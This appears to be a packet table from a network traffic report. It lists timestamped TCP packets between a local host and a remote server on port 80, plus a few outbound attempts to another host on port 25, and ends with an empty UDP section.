Mar 17, 2025 03:23:45.827112913 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827156067 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827251911 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827263117 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827279091 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827289104 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827300072 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827305079 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827311039 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827317953 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827322006 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827332973 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827334881 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827342987 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827353001 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827369928 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827372074 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827372074 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.827378988 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.827419996 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828531981 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828541994 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828553915 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828574896 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828584909 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828596115 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828596115 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828619003 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828630924 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828643084 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828681946 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828692913 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828700066 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828705072 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828715086 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828725100 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828757048 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828772068 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828804016 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828823090 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828831911 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828834057 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828847885 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828864098 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828872919 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828881025 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828923941 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.828984976 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.828994989 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829005003 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829015970 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829025984 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829029083 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829037905 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829045057 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829075098 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829106092 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829118013 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829160929 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829256058 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829265118 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829276085 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829288006 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829298973 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829308987 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829319954 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829322100 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829322100 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829333067 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829344034 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829355001 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829363108 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829375982 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829397917 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829411983 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829473972 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829485893 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829495907 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829508066 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829519033 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829535007 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829535007 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829627037 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829639912 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829664946 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829669952 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829677105 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829688072 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829698086 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829710007 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829730034 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829730034 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829756975 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829937935 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829947948 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829962015 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829973936 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829984903 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.829986095 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.829996109 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830008030 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830019951 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830029964 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830037117 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.830037117 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.830040932 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830051899 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.830054045 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830087900 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.830157042 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830168009 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830179930 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830189943 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.830203056 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.830231905 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.912580967 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912605047 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912616968 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912658930 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912678957 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.912703037 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912709951 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.912767887 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912780046 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912790060 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912862062 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.912862062 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.912893057 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912905931 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.912916899 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.913002014 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.913012981 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.913016081 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.913023949 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.913060904 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.913094044 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914460897 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914469957 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914482117 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914518118 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914546967 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914560080 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914611101 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914639950 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914650917 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914660931 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914704084 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914731979 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914738894 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914747953 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914760113 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914812088 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914832115 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914927959 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914938927 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914948940 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914948940 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914958000 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914968014 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914973021 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.914983988 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.914998055 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915020943 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915133953 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915148020 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915213108 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915302038 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915312052 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915323019 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915332079 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915342093 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915353060 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915354967 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915363073 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915375948 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915380001 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915409088 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915421009 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915447950 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915581942 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915594101 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915605068 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915616989 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915623903 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915627003 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915642023 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915642977 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915653944 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915664911 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915668964 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915676117 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915707111 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915707111 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915879011 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915890932 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915900946 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915910959 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915921926 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915932894 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915935040 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915946007 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.915947914 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.915980101 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.916949034 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.916981936 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.916991949 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.916995049 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917018890 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917028904 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917030096 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917100906 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917112112 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917146921 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917157888 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917190075 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917253971 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917265892 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917277098 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917288065 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917320967 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917323112 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917335987 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917359114 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917380095 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917391062 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917401075 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917409897 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917429924 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917464972 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917473078 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917475939 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917489052 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917500973 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917557001 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917557001 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917571068 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917587042 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917599916 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917609930 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917635918 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917660952 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917661905 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917673111 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917726994 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917733908 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917745113 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917756081 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917766094 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917777061 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917785883 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917787075 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917804956 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917860031 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.917979002 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917989969 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.917995930 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918001890 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918006897 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918013096 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918019056 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918029070 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918049097 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918137074 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918169022 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918194056 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918205976 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918216944 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918226957 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918248892 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918293953 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918345928 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918355942 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918365955 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918376923 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918386936 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918396950 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918399096 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918411970 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918412924 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918422937 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918435097 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918445110 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918454885 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918466091 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918466091 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918466091 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918504953 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918714046 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918725014 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918735027 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918745995 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918756962 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918766975 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918777943 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:45.918792009 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918792009 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918803930 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:45.918843031 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001203060 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001238108 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001250029 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001265049 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001301050 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001336098 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001342058 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001353979 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001382113 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001506090 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001518011 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001528978 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001539946 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001550913 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001562119 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001562119 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001610994 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001621962 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001633883 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.001661062 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001708031 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.001729965 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003056049 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003119946 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.003142118 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003161907 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003186941 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003196955 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003212929 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.003231049 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:46.003273010 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003288984 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:46.003334045 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:23:47.821527004 CET	49724	25	192.168.2.4	46.175.148.58
Mar 17, 2025 03:23:50.291850090 CET	80	49725	196.251.83.222	192.168.2.4
Mar 17, 2025 03:23:50.291918039 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:24:00.964353085 CET	49726	25	192.168.2.4	46.175.148.58
Mar 17, 2025 03:24:01.977797031 CET	49726	25	192.168.2.4	46.175.148.58
Mar 17, 2025 03:24:03.977956057 CET	49726	25	192.168.2.4	46.175.148.58
Mar 17, 2025 03:24:07.993407011 CET	49726	25	192.168.2.4	46.175.148.58
Mar 17, 2025 03:24:08.055208921 CET	49725	80	192.168.2.4	196.251.83.222
Mar 17, 2025 03:24:15.993458033 CET	49726	25	192.168.2.4	46.175.148.58

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
